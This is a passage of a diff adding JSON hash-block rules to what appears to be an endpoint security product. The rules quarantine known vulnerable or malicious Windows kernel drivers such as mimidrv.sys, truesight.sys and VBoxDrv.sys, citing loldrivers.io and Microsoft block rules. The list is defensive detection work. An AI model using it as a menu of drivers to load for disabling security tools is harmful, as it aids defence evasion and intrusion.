+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981462Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bf01cd6d55502838853851703eb297ec71361fa9a0b088a30c2434f4d2bf9c6",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a8c4c2d-8dee-5211-a23e-07344c9a4799",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457689Z",
+  "creation_date": "2026-03-23T11:45:30.457693Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed617d4c50288921a6a760de19db1633bd8172421109dcf68082c67db085ddb1",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a8d2828-2537-581c-bdfe-f4453f0201c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477461Z",
+  "creation_date": "2026-03-23T11:45:30.477464Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477473Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51480eebbbfb684149842c3e19a8ffbd3f71183c017e0c4bc6cf06aacf9c0292",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a8d88c5-83f7-5be6-b948-034701a6b94d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821217Z",
+  "creation_date": "2026-03-23T11:45:30.821220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "468b087a0901d7bd971ab564b03ded48c508840b1f9e5d233a7916d1da6d9bd5",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4a8e35bb-b29a-5e05-bdf6-58c86bee1328",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471076Z",
+  "creation_date": "2026-03-23T11:45:30.471079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "785723a3afe96876382524a9e90984f379c41521cd1f86a2172314ad58785e4f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4aae35d0-68bd-517a-bb7d-f2be35bb1a96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618694Z",
+  "creation_date": "2026-03-23T11:45:29.618695Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e1f20ceb2bfe9f38b50d6c997dbad032b2a79937ef6b3ce41b34bb74fbd24db",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4aaf35c8-e06b-5a48-9c23-80e82684ebfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985144Z",
+  "creation_date": "2026-03-23T11:45:29.985146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985152Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2b95fc91fe33c1995c49c35e32124ece7d958ed7d3b7a5f325f2a30454b9256",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ab6ba8b-c8cf-5c3c-947f-b5e3a126accc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153771Z",
+  "creation_date": "2026-03-23T11:45:31.153773Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a044042ef9cb8e015981ce8d1d9853340acf7414d7d18a3ab7e480edcd90349",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ac3a019-1408-5e50-8d29-5a1e7d61a37d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143704Z",
+  "creation_date": "2026-03-23T11:45:31.143706Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e391e12eb754d8cfe0e566c5ced36118048e963d8127e2333cd5fcb2f658622",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ac4afb1-8bf5-54d4-9d77-90cb894dbd91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608722Z",
+  "creation_date": "2026-03-23T11:45:29.608724Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608732Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8aeed1480e8c4dd4a26a6717fb274ba36054000acb49e8423c20b5f2ebb3851a",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4af69396-f7d3-5d50-861b-bb35b60df45b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813806Z",
+  "creation_date": "2026-03-23T11:45:31.813809Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02b8d6e0d3669fee150cd0a79d5413eb8ed3fd3ab5e70329e7f488be40d1d8a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b0b3a7a-d721-5ad4-9dc8-3d732f42ad0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819895Z",
+  "creation_date": "2026-03-23T11:45:30.819897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819902Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c8d7bb3a272afe7fb737bd165fe9bd8f8187f1835289eb66d471cdced74e950",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b152d9b-6592-53e9-91b4-a2083e2e26d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151160Z",
+  "creation_date": "2026-03-23T11:45:31.151162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151168Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "281ae0003e98de2f4b1a10255142ee54631e04b2b8a30f4ef3014a00d98a04aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b16ac1e-ae9e-5d2c-a45f-0763597a1dd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811292Z",
+  "creation_date": "2026-03-23T11:45:31.811294Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf50b862cc00efe4bbf7a707d7eaf70657ec0f6f127d0d462248497d19cdc583",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b177385-685d-50b7-8542-5806cc73b5a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605304Z",
+  "creation_date": "2026-03-23T11:45:29.605306Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605311Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c029ac703913ff22930856aaeaf992f18a602f282c001252a1a8172ecb0b766",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b18c008-e0be-53cc-b712-bd8e6a86fab0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813914Z",
+  "creation_date": "2026-03-23T11:45:31.813916Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813923Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ca73650cd34c9701d64c67d9416c5cebf077607d24e2dddd5d98af25a966a5f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b20fba9-5f83-5d90-b3c2-4b6378790338",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489854Z",
+  "creation_date": "2026-03-23T11:45:31.489858Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46bc64031ea94d3cd93b0d2dcb90c38e90bdd27b4ffe2fc74b56a82a139aa3f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b3438f9-d5a2-5195-9384-83a6e1f61284",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820163Z",
+  "creation_date": "2026-03-23T11:45:31.820167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c97c503b95faa2aa2a4f2345396f81716343bcba32f05ed0a17e2b722ca62157",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b35bbc4-8e3b-5130-9c02-5dc9e8408b57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481384Z",
+  "creation_date": "2026-03-23T11:45:30.481388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "793a26c5c4c154a40f84c3d3165deb807062b26796acaae94b72f453e95230d5",
+  "comment": "Vulnerable Kernel Driver (aka phymem_ext64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b3a0e87-5892-5fa4-b12c-f92f788f0acb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606368Z",
+  "creation_date": "2026-03-23T11:45:29.606370Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e9922ff0332701c81667b2f34538ded46f1f42c4638c22da3834f3d86452c27",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b3fb118-81a4-5284-9bae-0e1af6952b42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984105Z",
+  "creation_date": "2026-03-23T11:45:29.984107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984112Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c748ae5dcc10614cc134064c99367d28f3131d1f1dda0c9c29e99279dc1bdd9",
+  "comment": "Vulnerable Kernel Driver (aka CupFixerx64.sys) [https://www.loldrivers.io/drivers/c98af16e-197f-4e66-bf94-14646bde32dd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b42c871-ff82-5b0e-a97c-052198bba4a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975711Z",
+  "creation_date": "2026-03-23T11:45:29.975714Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975723Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcdf0eaf9c8effa2786c82e774974f1ef4098dcd376461bad37fd4168dcab52b",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4b51ff34-a070-5c0d-afbc-801b7f4e42f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605102Z",
+  "creation_date": "2026-03-23T11:45:29.605104Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7b1bb39dcd7f0331989f16fcc7cd29a9ae126bee47746a4be385160da3c5a29",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
